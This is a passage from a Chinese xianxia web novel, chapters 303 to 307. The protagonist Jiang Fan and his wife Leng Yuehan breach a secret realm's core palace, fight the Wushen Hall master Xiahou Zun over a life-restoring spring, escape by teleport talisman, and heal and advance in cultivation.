但他并未立刻跟上,而是站在原地,目光锐利地扫视着周围的环境,脑海中飞速推演、解析着那些看似杂乱无章、实则蕴含天地至理的杀阵布局。
满级阵法大宗师的境界,让他能‘看到’更多。
这些天然杀阵虽然凶险,但并非毫无规律,它们似乎共同拱卫、或者说…指向着某个方向!
那个方向的杀阵气息最为浓烈、复杂,但也隐隐有一丝与其他地方不同的的灵力波动透出!
那里,很可能就是秘境的核心区域!
所谓的‘遗落古城’,或许只是外围的一个中转站,甚至可能是误导!
“夫君,他们走远了。”
冷月寒低声提醒,她也能感觉到周围无处不在的危险气息,有些不安。
“不急。”江凡嘴角勾起一抹弧度,传音入密,
“月寒,跟紧我,一步都不要错。我找到了一条更快、也更危险的路。信我吗?”
冷月寒毫不犹豫地点头,眼中满是信任:
“月寒的命是夫君的,夫君去哪里,月寒就去哪里。”
“好。”
江凡不再犹豫,他深吸一口气,将状态调整到最佳,一手紧紧揽住冷月寒的纤腰,低喝一声:
“走!”
话音未落,他身形骤然动了!
却不是沿着武神殿众人那条‘安全’路径,而是朝着自己感知中,那杀机最浓烈的方向射了出去!
步伐玄奥,时左时右,时而腾空数尺,时而贴地疾掠,每一步都精准地踏在周围杀阵那稍纵即逝的‘生门’变换节点之上!
快得只留下一道淡淡的残影!
“什么?!”
“他往那边去了!”
“找死!那是‘千旋绞杀阵’和‘时空迷踪带’的交界处!”
“快停下!江凡!”
武神殿众人刚刚走出不远,回头看到这一幕,无不骇然失色!
影老更是脸色剧变,厉声喝止。
他们怎么也没想到,江凡竟然如此胆大包天,完
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全不按地图走,反而朝着绝地冲去!
以他们的认知,那条路上遍布的杀阵,就算劫境巅峰强者误入,也十死无生!
然而,下一幕让他们更加目瞪口呆。
只见江凡带着冷月寒,如同穿花蝴蝶,又如同未卜先知,在那片看似绝地的区域中疾速穿行!
脚下大地偶尔亮起致命的阵法光芒,却总在他踏足的前一瞬或离开的后一瞬爆发;
空中隐现的空间裂缝,却总被他以毫厘之差巧妙避开;
甚至有几道足以湮灭极道宗师的无形杀机扫过,却仿佛主动‘绕开’了他们!
江凡的动作行云流水,对阵法变化的预判精准到了令人发指的地步,仿佛他才是这片绝地真正的主人!
“这…这怎么可能?!”
一名精通阵法的武神殿长老眼珠子都快瞪出来了,
“他对这里阵法的了解,竟然…竟然比我们手中的上古阵图还要深刻?!”
“他难道早就进来过?还是说…他的阵法造诣,已到了传说中的‘阵道通神’之境?!”
另一名长老失声惊呼。
影老脸色阴沉得快要滴出水来,心中掀起了惊涛骇浪。
江凡再一次超出了他们的预估!
此子不仅实力诡异,竟还藏着如此骇人听闻的阵法修为!
难怪他敢独自带着‘玄阴灵体’就闯进来!
夏侯尊殿主最担心的事情,似乎正在发生——江凡很可能摆脱他们的地图控制,自行找到通往核心的道路!
“追!不能让他抢先!”
影老当机立断,也顾不得掩饰了,对身旁一名一直沉默寡言、气息普通的中年修士急声道,
“殿主!情况有变!”
那一直低着头、仿佛普通随从的中年修士,闻言缓缓抬起了头。
当他抬起头的那一刻,原本平凡无奇的面容瞬间发生了细微却深刻的变化。
眼神变得深邃如星空,气质陡然变得渊渟岳峙,一股属于巅峰强者的无形威压缓缓弥漫开来。
虽然极力收敛,但仍让周围的长老们感到呼吸一窒。
正是易容混在人群中的夏侯尊本尊!
第303章 核心的关联
夏侯尊目光如电,紧紧锁定着远处那道在绝地中飞速穿行的淡金色身影,眼中首次露出了凝重与一丝…兴奋。
“好一个江凡!果然没让本座失望!竟有如此阵法造诣!”
夏侯尊的声音低沉而平静,却带着一股冰冷的杀意,
“看来,他那‘领域’并非唯一的底牌。不过,以为这样就能摆脱本座吗?”
他扫了一眼周围复杂危险的杀阵环境,沉声道:
“修为低于陆地神仙者,原地结阵防守,不得妄动!陆地神仙以上,随本座追击!影,你持地图在前,尽量按照安全路线,我们绕过去!
他走的是直线,看似快,但消耗极大,且前方有连他都未必能轻易闯过的‘混沌迷障’和‘法则雷池’,我们未必追不上!”
“是!殿主!”
影老与一众陆地神仙、劫境长老齐声应命,心中大定。
殿主亲自出手指挥,又有详细地图,他们未必会落后太多。
夏侯尊不再多言,身形一晃,已如鬼魅般掠出,方向正是江凡离去的方向,但路线却更加曲折,明显是在规避沿途杀阵。
影老连忙手持地图跟上,其余高手也各施手段,紧随其后。
虽然速度不及江凡那般蛮横直闯,但胜在相对安全,且对自身消耗更小。
……
前方,江凡将速度提升到极致,修为全力爆发,配合着出神入化的阵法造诣,在死亡的刀尖上舞蹈。
冷月寒紧紧抱着他,将脸埋在他胸口,不敢有丝毫打扰,心中充满了对夫君的无尽崇拜与担忧。
短短一刻钟,他们已深入戈壁数十里,沿途避开了不下百处致命杀阵,有几次甚至与爆发的阵光擦肩而过,险象环生。
江凡的额头也微微见汗,精神高度集中带来的消耗不小。
但他心中却越发清明,因为他能感觉到,前方那核心区域的召唤与精纯灵气波动,越来越清晰了!
冷月寒体内的玄阴之气,也越发活跃,甚至开始主动引导着他的方向。
终于,在穿越了一片不断扭曲的混沌迷障边缘后,眼前的景象豁然开朗。
一片巍峨、古朴的巨型宫殿群废墟,出现在视线尽头。
虽然大部分建筑都已坍塌,只剩下断壁残垣。
但中央那座高达千丈的主殿,却保存得相对完好,只是表面布满了岁月的痕迹与各种狰狞的战斗创伤。
主殿大门紧闭,门上雕刻着繁复无比的奇异符文,此刻正闪烁着微弱的的淡蓝色光晕。
一股浩瀚、精纯的古老灵气,正从主殿方向弥漫开来,让人精神为之一振。
这里,才是秘境真正的核心!
那‘源生仙泉’,极有可能就在这主殿之中!
然而,主殿周围,并非坦途。
一片占地极广、由无数细小却危险的空间裂缝、湮灭雷光、以及扭曲的法则锁链构成的‘法则雷池’,将主殿废墟紧紧环绕!
雷池之中能量暴虐,即便以江凡的阵法眼光,也能看出其凶险程度,远超之前戈壁上的天然杀阵!
强行闯入,九死一生!
更重要的是,主殿大门上那繁复的符文,乃是一个等级极高、与整个秘境核心本源相连的防护大阵!
江凡迅速推演,以他满级阵法大宗师的境界,要想在不触发毁灭机制的前提下安全破解,至少需要…小半个时辰!
而身后,夏侯尊带领的武神殿高手,虽然绕了路,但凭借地图和对环境的熟悉,追击的速度并不慢。
江凡能感觉到,数道强横的气息,已然逼近‘混沌迷障’,最多盏茶功夫,便能追至此地!
时间紧迫!
“夫君,就是这里!召唤的感觉,就是从这座大殿里传出来的,非常强烈!”
冷月寒望着那座主殿,眼中闪过迷茫与悸动,体内的玄阴之气不受控制地微微荡漾,与殿门上的符文光芒产生了共鸣。
江凡神色凝重,盯着那守护大阵,脑中飞速计算着破解方案,同时警惕着身后的追兵。
小半个时辰…夏侯尊绝不会给他这个时间!
“月寒,你退后些,我试试强行破解…”
江凡咬牙,准备冒险一试,或许可以凭借【无敌领域】强行轰开殿门。
“不,夫君,等等!”
冷月寒忽然拉住他,她的目光紧紧盯着那扇巨大的殿门,尤其是门上那些与她产生共鸣的符文,
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一种源自血脉深处的悸动与明悟涌上心头。
她松开江凡的手,缓步向前,走向那凶险的‘法则雷池’边缘。
“月寒!危险!”
江凡大惊,想要拉住她。
冷月寒却回过头,对他露出一个奇异而安心的笑容,轻声道:
“夫君,别怕。我感觉…它不会伤害我。好像…我本来就应该在这里。”
说着,在江凡紧张的目光注视下,冷月寒缓缓伸出了白皙的手掌,轻轻按向了那狂暴的法则雷池。
令人难以置信的一幕发生了——那足以湮灭劫境强者的暴虐雷光与空间裂缝,在触及她手掌的瞬间,竟自动向两侧分开,让出了一条仅容一人通过的通道!
通道的尽头,直抵主殿大门!
江凡瞳孔骤缩,心中震撼无以复加!
月寒的‘玄阴灵体’,与这秘境核心的关联,竟如此之深?!
冷月寒自己似乎也有些惊讶,但那股召唤与亲切感更加强烈。
她沿着雷池中分开的通道,一步步走向主殿大门。
江凡不敢怠慢,连忙紧随其后,警惕着通道两侧那依旧狂暴的雷光。
来到巨大的殿门前,那股沧桑古老的气息扑面而来。
冷月寒仰望着门上那些复杂的符文,眼神变得有些空洞,仿佛陷入了某种回忆或传承的接收之中。
她再次伸出手,这一次,是轻轻抚上了那刻画着符文的殿门。
就在她指尖触碰到符文的刹那——
“嗡——!!!!”
整座暗银色主殿,猛然剧烈震动起来!
殿门上所有符文瞬间爆发出璀璨蓝光,冲天而起,将这片暗红色的秘境天空都映照得一片湛蓝!
一股无法形容的浩瀚威压,从大殿深处弥漫开来!
与此同时,冷月寒周身也爆发出强烈的玄阴之气,与殿门符文光芒水**融,她整个人仿佛化作了光的源头!
“咔嚓…咔嚓嚓…”
沉重无比的巨门,在冷月寒的抚摸与那共鸣的蓝光中,发出了巨大的摩擦声,随后,缓缓地打开了一道缝隙!
一股比外界精纯浓郁百倍的灵气,从门缝中汹涌而出!
殿门,开了!
第304章 愣着干什么
冷月寒这个‘玄阴灵体’,仿佛以自身为钥匙,得到了这座核心主殿的认可,将其自行开启!
江凡站在冷月寒身后,看着眼前这不可思议的一幕,心中掀起了惊涛骇浪。
月寒的身份,这‘玄阴灵体’与‘长生秘境’的关系,似乎远比武神殿所知、甚至比他自己想象的,还要复杂和紧密得多!
而就在这时,身后传来急促的破空声与惊怒的厉喝:
“停下!”
“殿门开了?!”
“是那‘玄阴灵体’!”
“快!拦住他们!”
夏侯尊带领着武神殿的高手,终于穿过了‘混沌迷障’,追到了‘法则雷池’之外。
他们正好看到了殿门开启、灵气喷涌的最后一幕,以及站在开启的殿门前,周身沐浴在蓝光中的冷月寒,和护在她身后的江凡。
夏侯尊的目光瞬间变得无比炽热与狰狞,死死盯着那开启的殿门缝隙,以及门内隐约可见的氤氲宝光。
“江凡!冷月寒!把路让开!秘境核心传承,不是你等可以染指的!”
夏侯尊的声音响彻雷池之外,他周身气息不再掩饰,劫境大圆满的恐怖威压轰然爆发,搅动风云。
“否则,本座今日便让你二人,葬身于此,神魂俱灭!”
殿门开启的缝隙中涌出的精纯灵气如同甘霖,但江凡此刻无心享受。
身后夏侯尊饱含杀意的喝声与那轰然爆发的劫境大圆满威压,让他全身汗**倒竖。
殿门已开,机缘在前,但致命的威胁也已迫在眉睫!
没有丝毫犹豫,江凡猛地一推冷月寒的后背,力道柔和却坚定,声音急促:
“月寒,进去!我感应到里面有浓郁的生命本源气息,很可能就是‘源生仙泉’!快去找到它,解决你体质的问题!我来挡住他们!”
“夫君!”
冷月寒回头,眼中充满了担忧与挣扎。
她看到了夏侯尊那可怕气势,看到了他身后那数名杀气腾腾的武神殿劫境、陆地神仙高手。
让夫君一人独对如此强敌?
“快去!别让我分心!拿到仙泉,你才能活!我们才能有未来!”
江凡厉声喝道,眼神坚决。
他不能退,一旦被夏侯尊等人冲进大殿,在狭窄空间内混战,他更难护住冷月寒周全,夺取仙泉的机会也将渺茫。
唯有在此阻击,为月寒争取时间!
冷月寒泪水涌出,但她知道此刻不是犹豫的时候。
夫君用生命为她争取生机,她绝不能辜负!
她狠狠一点头,将所有担忧与不舍压在心底,转身化作一道流光,顺着殿门缝隙,头也不回地冲入了那灵气氤氲的大殿深处。
“拦住她!”
夏侯尊眼见冷月寒冲入大殿,眼中厉色一闪,身形便要动。
“夏侯尊!你的对手是我!”
江凡暴喝一声,不退反进,猛地向前踏出一步,瞬间挡在了殿门与夏侯尊等人之间!
他孤身一人,面对武神殿倾巢而出的顶尖高手毫无惧色!
“系统!兑换并开启——【无敌领域】!”
面对夏侯尊这个活了超过两千年的老怪物和其麾下精锐,江凡一出手便是最强底牌!
他要在一分钟内,尽可能多地解决掉这些威胁,尤其是夏侯尊!
【叮!消耗人气值1000000点!无敌领域开启!倒计时:60、59……】
“嗡——!”
无形的规则力量以江凡为中心,轰然扩散,瞬间笼罩了方圆百米!
这片区域内的时空再次凝固!
狂暴的‘法则雷池’边缘能量被强行定住,飞扬的尘埃停滞在空中,连那从殿门内涌出的灵气洪流似乎都慢了半拍!
首当其冲的夏侯尊,以及他身后距离较近的影老、三名劫境长老、五名陆地神仙,共计十人,全部被领域之力笼罩!
他们的身体骤然僵直,脸上的表情凝固!
那种生死完全不由己的绝对无力感,袭上所有人心头,甚至比上次在秘境入口处更加清晰、更加令人绝望!
因为这次,江凡的杀意毫无保留!
“就是现在!”
江凡眼中寒光爆射,心念催动,便要引动领域内的规则之力,将这被禁锢的十人,尤其是夏侯尊,彻底碾碎、湮灭!
这是他思虑后的最佳方案,趁其不备,雷霆斩杀首脑,余下人群龙无首,便可从容应对!
然而,就在江凡杀念升起的刹那——
“哼!雕虫小技,也敢再现?!”
被领域之力死死禁锢的夏侯尊,喉咙里忽然发出一声冷哼!
这冷哼
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是直接在他被禁锢的体内发出!
与此同时,他宽大的袖袍之中,骤然爆发出一点混沌未开的灰蒙蒙光芒!
那光芒初始只有米粒大小,却在出现的瞬间,便扭曲、侵蚀、甚至…排斥了江凡【无敌领域】的力量!
并非硬撼,而是一种高层次规则的干扰与屏蔽!
以那灰光为中心,一个直径约三丈的模糊球体空间显现出来,在这球体内,江凡那无所不能的领域规则,竟然变得滞涩,无法锁定球体内的夏侯尊等人!
仿佛他们从领域的感知中消失了!
一件物事从夏侯尊袖中飞出,悬停在他头顶。
那是一块巴掌大小、非金非石的残破古碑虚影!
碑体看似残破,却散发出一种凌驾于万物之上的至高气息!
正是夏侯尊耗费百年心血炼制的上古神器仿品——【混沌镇魔碑】!
虽然只是虚影,且明显能看出夏侯尊催动得十分勉强,额头青筋暴起,显然承受着巨大压力,但这古碑虚影的效果却立竿见影!
它成功在【无敌领域】内,为夏侯尊及靠近他的影老、两名劫境长老,撑开了一片小小的、相对安全的净土!
“什么?!”
江凡心中剧震!
他的【无敌领域】,第一次遇到了能够抵抗、甚至干扰其规则锁定的东西!
虽然那古碑虚影覆盖范围很小,只能护住夏侯尊周围寥寥数人。
且夏侯尊本人也似乎消耗巨大,但确确实实抵消了【无敌领域】最关键的无解锁定与规则抹杀效果!
“江凡!本座早就料到你这诡异领域是最大变数!你真以为,知晓了你的底细,本座会毫无准备,就贸然与你在这秘境中决战吗?”
夏侯尊顶着古碑虚影,脸色微微发白,气息有些紊乱,但眼中却充满得意与杀机,
“这【混沌镇魔碑】虽只是仿品,且本座尚未完全炼化,但用以干扰、屏蔽你这‘规则领域’的锁定,已然足够!
失去了这领域,你区区劫境二重的修为,在本座面前,不过是强壮些的蝼蚁!今日,便是你的死期!”
他语速极快,显然维持这古碑虚影对他也是极大负担,必须速战速决:
“还愣着干什么?杀了他!夺取‘玄阴灵体’和秘境传承!”
第305章 必杀的决心
随着夏侯尊一声令下,那两名同样被古碑虚影笼罩的劫境长老,以及五名陆地神仙,齐齐厉喝,各色光芒暴起,神通、法宝、武学朝着江凡轰杀而来!
而影老则护卫在夏侯尊身旁,协助他维持古碑虚影,同时警惕地盯着江凡,防止他突袭。
而更远处,三名未被古碑虚影覆盖的武神殿高手,则在领域规则之力下,身体开始出现崩解、湮灭的迹象,发出凄厉的惨叫,眼看就要形神俱灭!
江凡眼神冰冷,心念一动,那三人的惨叫戛然而止,瞬间化为飞灰!
【无敌领域】对这三人的抹杀,并未受到影响。
但核心的夏侯尊、影老和两名劫境长老,却因古碑虚影的干扰,暂时无恙。
“系统!兑换劫境三重修为!”
江凡没有丝毫犹豫,面对如此危局,修为才是根本!
必须立刻提升!
【叮!消耗人气值200,000,000点!开始灌注劫境三重境界修为、劫力蜕变、及对规则更深层感悟…】
两亿人气值瞬间蒸发!
一股磅礴的力量洪流,轰然涌入江凡四肢百骸、丹田识海!
他的气息疯狂暴涨,劫力变得更加凝练,隐隐带上一丝混沌色泽,对周围天地法则的感应与操控能力瞬间提升了一个档次!
劫境三重,成!
虽然消耗了巨量人气值,但江凡此刻来不及心疼。
面对轰杀而至的漫天攻击,他长啸一声,不退反进!
“大日焚天诀!太阳真火,凝!”
“九转玄功!不灭金身,开!”
“神行百变!咫尺天涯!”
系统兑换的顶级**的威力,在此刻**凡毫无保留地施展出来!
他周身燃起熊熊金色太阳真火,将轰来的冰霜、毒雾、阴雷等属性攻击纷纷焚烧净化;
皮肤泛起暗金色光泽,硬抗了数道法宝的轰击,只留下淡淡白痕;
身形更是在**的攻击缝隙中穿梭,每每以毫厘之差避开致命杀招。
与此同时,他双手结印,口中低诵玄奥口诀,正是系统兑换的另一门顶级神通——【乾坤一气大擒拿】!
这段时间人气值暴增,他可是兑换了十几种**以防万一。
一只完全由精纯劫力与部分空间规则凝聚而成的半透明巨手,凭空出现,遮天蔽日,狠狠拍向那五名攻得最凶的陆地神仙!
“不好!快退!”
一名陆地神仙巅峰的老者骇然色变,感受到那巨手中蕴含的恐怖力量,想要抽身后退,却已然不及。
“轰!”
巨手拍落,大地剧震!
狂暴的气浪将周围残存的宫殿废墟碎石掀飞!
那五名陆地神仙齐齐吐血倒飞,其中两人修为稍弱者,更是护身法宝瞬间炸裂,筋骨断折,倒地不起,生死不知!
另外三人也是狼狈不堪,气息萎靡,满脸惊骇。
“怎么可能?!他的实力…又提升了?!”
影老失声惊呼,难以置信。
明明前一刻江凡还是劫境二重,虽然诡异,但绝无可能如此轻易击溃五名陆地神仙的联手攻击!
可眼前这一幕…
夏侯尊眼中也闪过一抹震惊与深深的忌惮。
江凡修为的突然暴涨,再次超出了他的预料!
此子的成长速度,简直匪夷所思!
这更坚定了他必杀江凡的决心!
此子不除,日后必成心腹大患,甚至…应验之前的预言!
“不要给他喘息之机!结‘四象诛魔阵’!困杀他!”
夏侯尊厉声下令,同时咬破舌尖,一口精血喷在头顶的【混沌镇魔碑】虚影上。
古碑虚影光芒大盛,那层干扰领域的混沌光罩似乎稳固了一丝,但夏侯尊的脸色也更加苍白。
那两名劫境长老闻言,毫不犹豫,身形闪动,与另外两名受伤较轻的陆地神仙迅速占据四方方位,手印翻飞。
道道真元劫力勾连,瞬间布下一座杀气腾腾的四象大阵!
青龙、白虎、朱雀、玄武四象虚影浮现,咆哮嘶鸣,释放出强大的束缚与攻杀之力,将江凡笼罩其中!
阵法之力加持下,两名劫境长老气势再涨,配合阵法演化出的四象攻击,威力倍增,再次向江凡发起猛攻!
剑气纵横,刀光裂空,火焰席卷,寒冰封冻!
江凡身处阵中,顿感压力大增。
这‘四象诛魔阵’显然不凡,不仅极大地限制了他的身法移动,那四
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象虚影的攻击更是蕴含着阵法加持的天地之力,威力惊人。
他虽已晋升劫境三重,又有数门顶级**神通傍身,但同时面对两名劫境主持的杀阵,依旧险象环生。
“必须破阵,或者拖延时间!”
江凡眼神凌厉,一边挥动【太阳真火】凝聚的火龙与四象虚影对轰,一边以【不灭金身】硬抗部分攻击。
同时暗中催动满级阵法知识,飞速解析这‘四象诛魔阵’的运转规律与破绽。
然而,夏侯尊显然不打算给他这个时间。
眼见江凡在阵中左支右绌,虽然勇猛,但已渐渐被压制,他眼中寒光一闪,对影老传音道:
“你在此维持古碑,干扰领域,本座亲自出手,速战速决!迟则生变!”
他担心大殿内的冷月寒已经找到‘源生仙泉’,更担心江凡还有别的底牌!
必须尽快解决战斗!
话音未落,夏侯尊动了!
他身形如电,瞬间出现在江凡侧后方!
一掌拍出,无声无息,掌心却凝聚着一团漆黑能量球,其中蕴含的毁灭波动,让江凡瞬间汗**倒竖!
“幽冥噬魂掌!”
夏侯尊的成名绝学之一,专攻神魂,歹毒无比!
这一掌来得太快、太刁钻,正是江凡抵挡前方四象攻击、无敌领域一分钟时间刚刚结束之时!
夏侯尊这老怪物,战斗经验丰富至极,一出手便是绝杀!
江凡瞳孔收缩到极致,全身劫力疯狂涌动,【不灭金身】催发到极限,同时强行扭转身形,试图避开心脏要害。
左掌仓促迎上,掌心【太阳真火】凝聚到极致!
“轰——!!!”
双掌对撞!
江凡只觉得一股阴寒刺骨的诡异力量,瞬间穿透了他体表的太阳真火与不灭金身防御,狠狠扎入他的手臂经脉,并向其识海侵蚀而去!
同时,那磅礴的掌力,也震得他气血翻腾,五脏六腑仿佛移位!
“噗——!”
江凡仰天喷出一大口鲜血,其中竟夹杂着些许内脏碎片!
整个人不受控制地离地倒飞,狠狠砸向后方那洞开的、幽深的大殿殿门!
没有无敌领域,双方的实力悬殊太大!
第306章 你感觉如何
“夫君!!!”
冷月寒凄厉的呼喊从大殿深处传来。
“江凡!”
夏侯尊眼中闪过一抹狞色,得势不饶人,身形再动,便要趁江凡重伤倒飞、门户大开的时机,补上致命一击,同时冲入大殿!
然而,倒飞入殿的江凡,在喷血的瞬间,猛地将一颗早已扣在手中的丹药塞入口中!
丹药入口即化,磅礴药力瞬间化开,稳住他翻腾的气血,修复着受损的经脉脏腑。
“砰!”
江凡重重摔落在地,又滑行了十余丈,撞碎了一尊不知名的石刻灯台,才勉强停住。
他摔落的地方,恰好是大殿深处,一个被氤氲乳白色灵雾笼罩的、约莫三丈见方的水池边缘。
池水呈现出温润的乳白色,散发着浓郁的生命本源气息。
仅仅是呼吸一口池水上方的灵雾,就让他体内沉重的伤势明显缓和了一丝,那入侵的幽冥之力也被驱散了不少。
“源生仙泉?!”
江凡瞬间明悟,心中狂喜!
真是踏破铁鞋无觅处,得来全不费工夫!
不,是拼死杀出一条血路,才找到这里!
此刻,冷月寒正半跪在仙泉池边,双手捧着一掬泉水,脸上又是泪痕又是惊喜,看到江凡摔落,连忙扑过来:
“夫君!你怎么样?”
“我没事!”
江凡咬牙撑起身体,抹去嘴角血迹,目光死死盯向殿门口。
夏侯尊的身影,已然如影随形般追了进来,影老也带着【混沌镇魔碑】虚影,与那两名劫境长老紧随其后,堵住了殿门。
他们看着那池乳白色的泉水,眼中都爆发出无法抑制的贪婪与狂热!
“源生仙泉!果然是源生仙泉!哈哈哈哈哈!”
夏侯尊放声大笑,笑声中充满了志在必得,
“江凡,多谢你替本座开路,还找到了这无上仙珍!现在,交出仙泉,自封修为,本座或许可以给你一个痛快,留你全尸!”
江凡将冷月寒护在身后,冷冷看着步步紧逼的夏侯尊等人,忽然咧嘴一笑,露出染血的牙齿:
“想要仙泉?好啊,给你!”
话音未落,他心念骤然沟通系统:
“系统!收取眼前这池‘源生仙泉’!全部!收入系统空间!”
下一瞬,在夏侯尊、影老等人惊骇欲绝的目光中。
那池珍贵无比、足以让任何修士疯狂的‘源生仙泉’,连同池底不知积淀了多少万年的灵乳膏,瞬间消失得无影无踪!
原地只留下一个光秃秃的的坑洞!
“不——!!!”
夏侯尊发出撕心裂肺的怒吼,眼睛瞬间变得血红!
他筹划上千年,不惜与江凡虚与委蛇,甚至牺牲长老弟子,就是为了这‘源生仙泉’和秘境核心!
眼看仙泉近在咫尺,却在他眼皮子底下凭空消失!
这种得而复失的感觉,让他几乎疯狂!
“小畜生!你做了什么?!把仙泉交出来!!”
夏侯尊状若疯魔,劫境大圆满的恐怖威压爆发,整座大殿都在簌簌发抖,他身形化作一道残影,带着滔天杀意,直扑江凡!
这一次,他不再有丝毫保留,誓要将江凡**万段,搜魂炼魄,也要找出仙泉下落!
“月寒,抱紧我!”
江凡对身后的冷月寒急喝一声,与此同时,手中已多出了一张符箓——【千里随机传送符】!
这是他早已准备好、以防万一的最终保命底牌之一!
“系统!使用【千里随机传送符】!”
【叮!开始随机空间定位…定位完成。启动传送!】
“夏侯尊!今日之赐,江某记下了!来日必百倍奉还!你的武神殿,还有你的狗命,我预定了!”
江凡对着狂扑而来的夏侯尊,厉声长啸,眼中充满恨意与杀机。
“想跑?!给本座留下!”
夏侯尊目眦欲裂,一掌轰出,漆黑巨掌遮天蔽日,几乎封锁了江凡周围所有空间!
然而,就在漆黑巨掌即将拍落的瞬间,江凡手中的符箓骤然爆发出耀眼的银光,将他与冷月寒彻底包裹!
银光一闪,两人的身影凭空消失在了原地!
“轰——!!!”
夏侯尊那含怒一击,狠狠拍在了空处,将坚硬无比的地面轰出一个大坑,碎石激射,整座大殿都剧烈摇晃,殿顶簌簌落下灰尘。
却连江凡二人的一片衣角都没碰到。
“啊——!!!江凡!!冷月寒!!本座与你们不死不休!!!”
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>夏侯尊暴怒的咆哮,在空旷的大殿中回荡,充满了怨毒与疯狂。
他双眼血红,喘着粗气,胸膛剧烈起伏,好半晌才勉强压下几乎要炸裂的怒火。
他缓缓转身,眼睛扫过噤若寒蝉的影老和仅剩的两名劫境长老,声音嘶哑,蕴含杀意:
“传本座最高殿主令!”
“一,封锁秘境出口!加派人手,一寸一寸地给本座搜!他们用了传送符,必然跑不远!生要见人,死要见尸!”
“二,立即联系外界留守长老,启动所有暗子,动用一切力量,向大夏皇朝全面开战!本座要看到战火燃遍大夏每一寸疆土!”
“三,重点‘关照’江凡的那几个女人,给本座活捉!本座要让他江凡,尝尝失去至亲、痛不欲生的滋味!!”
“本座要让他知道,得罪我武神殿,抢我夏侯尊的东西,会有什么下场!我要让他,后悔来到这个世上!!”
这一次,他是真的被彻底激怒,不惜一切代价,也要将江凡和他的所有牵挂,拖入万劫不复的深渊!
而此刻,在距离大殿不知多少里外的一处荒凉山谷中,空间一阵波动,两道狼狈的身影踉跄着跌出,正是江凡与冷月寒。
江凡刚一落地,便又是一口鲜血喷出,脸色惨白,气息萎靡到了极点。
“咳…噗!”
刚一稳住身形,江凡便压抑不住体内翻腾的气血与那‘幽冥噬魂掌’残留的阴毒力量,再次喷出一口淤血,脸色苍白,气息萎靡到了极点。
劫境大圆满强者含怒一击,即便他临阵突破到劫境三重,又有【不灭金身】和【生生造化丹】缓冲,依旧伤及肺腑,神魂震荡,那侵入识海的幽冥之力不断侵蚀着他的精神。
“夫君!”
冷月寒急忙扶住他,让他靠在一块相对平整的大石上坐下,美眸中尽是心疼与焦急的泪水。
她手忙脚乱地想为他擦拭血迹,却被他轻轻握住。
“无妨…还死不了。”
江凡挤出一个安抚的笑容,声音沙哑,
“月寒,你感觉如何?那‘源生仙泉’的气息,对你的玄阴神体可有感应?是否真能解决你体内的危机?”
这是他最关心的问题,拼死争夺,为的就是这个。
第307章 天大的造化
冷月寒闻言,立刻凝神内视,仔细感应。
片刻,她眼中绽放出惊喜的光芒,用力点头:
“嗯!夫君,我感觉到了!很清晰很强烈的召唤和吸引!不仅是感应,我甚至觉得…
只要接触到那泉水,无论是饮用还是浸泡,我体内的玄阴之气就能与之水**融,不仅隐患尽消,说不定还能…”
她顿了顿,有些不确定地道,
“还能让我的体质和修为都得到难以想象的提升!那泉水蕴含的生命本源和某种至阴至纯的灵韵,与我的玄阴神体是绝配!”
“太好了!”
江凡闻言,精神顿时一振,连伤势似乎都轻了几分。
他不再犹豫,心念沟通空间,将收取的‘源生仙泉’移出。
那池珍贵无比的乳白色仙泉连同池底灵膏,再次出现在两人面前的山谷空地上,浓郁的生命精气与纯净灵韵弥漫开来,瞬间将山谷中原本的腐朽气息驱散,连带着江凡体内的伤势都似乎被这股气息滋养,疼痛减缓了些许。
看着这池堪称世间瑰宝的泉水,江凡眼中闪过一丝决断:
“月寒,事不宜迟,你这就进入仙泉,解决体质问题!我为你**。”
“不,夫君!”
冷月寒却用力摇头,看着江凡苍白的脸和衣襟上的血迹,泪水再次涌出,
“你伤得这么重,那夏侯尊的掌力歹毒,必须先疗伤!这仙泉气息如此浓郁,定有疗伤奇效!我们一起!”
“可是…”
江凡皱眉,仙泉虽多,但他担心两人共用会影响冷月寒彻底解决体质问题。
“没有可是!”
一向温柔顺从的冷月寒此刻却异常坚决,她紧紧抓住江凡的手,眼中是无法动摇的坚持,
“夫君,若非为了我,你岂会受此重伤?你若有个三长两短,我就算解决了体质问题,又有何意义?要么一起用,要么我不用!”
看着冷月寒倔强而深情的眼眸,江凡心中最柔软的地方被触动了。
他知道,她说得出做得到。
罢了,仙泉如此之多,两人共用应当无碍,当务之急是尽快恢复战力,应对武神殿随之而来的疯狂反扑。
“好,我们一起。”
江凡不再坚持,点了点头。
冷月寒破涕为笑,连忙扶着江凡靠近仙泉池边。
江凡忍着剧痛,再次沟通系统:
“系统,兑换一个足够两人使用的大型浴桶,材质要能锁住灵气不外泄的。”
【叮!消耗人气值1000点,兑换青灵玉浴桶x1。】
一个通体由温润青色灵玉雕琢而成的大浴桶出现在空地上。
江凡和冷月寒合力,小心翼翼地将部分‘源生仙泉’引入浴桶之中,直到没过桶沿大半。
泉水在青玉桶中荡漾,散发着沁人心脾的馨香。
顾不上什么旖旎,两人迅速除去染血的外袍,只余贴身衣物,相携踏入浴桶之中,盘膝相对坐下。
泉水微凉,触及皮肤的瞬间,却化作暖流顺着毛孔、经脉涌入四肢百骸、五脏六腑、乃至识海灵魂!
“嗯…”
江凡忍不住发出一声舒服的呻吟。
那感觉,如同干涸了千万年的大地突逢甘霖。
夏侯尊‘幽冥噬魂掌’残留的阴毒能量,在这磅礴的生机冲刷下,迅速消融、瓦解;
受损的经脉、脏腑,则以肉眼可见的速度被修复、滋润,甚至变得更加坚韧、充满活力;
连震荡的神魂,都在这温暖生机的滋养下迅速安定、壮大。
不仅如此,那泉水蕴含的,不仅仅是磅礴的生命精气,更有一种仿佛直指大道的纯净灵韵。
这灵韵伴随着生命精气,融入江凡的劫力之中,推动着他的修为境界,开始以一种令人瞠目结舌的速度,向上飙升!
劫境三重初期、中期、后期、巅峰…轰!
几乎没有任何瓶颈,水到渠成般,突破至劫境四重!
而且势头不减,劫境四重初期、中期、后期…再次势如破竹,踏入劫境五重!
到了劫境五重,提升的速度才稍微放缓,但依旧远超寻常苦修。
泉水中的能量似乎无穷无尽,不断洗刷着他的肉身,淬炼着他的劫力,滋养着他的神魂。
他的气息节节攀升,体内传出江河奔流般的轰鸣声,体表有淡淡的混沌光泽与金色火焰、暗金纹路交织闪烁。
最终,他的修为稳固在了劫境六
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重初期!
短短不到一个时辰,从重伤濒危的劫境三重,一跃成为劫境六重的大能!
实力何止提升了十倍!
体内劫力之雄浑精纯,神魂之凝练强大,肉身之完美无瑕,都达到了一个全新的高度!
那困扰他的伤势,早已痊愈,连一点暗伤都没留下,状态甚至比进入秘境前还要好上数倍!
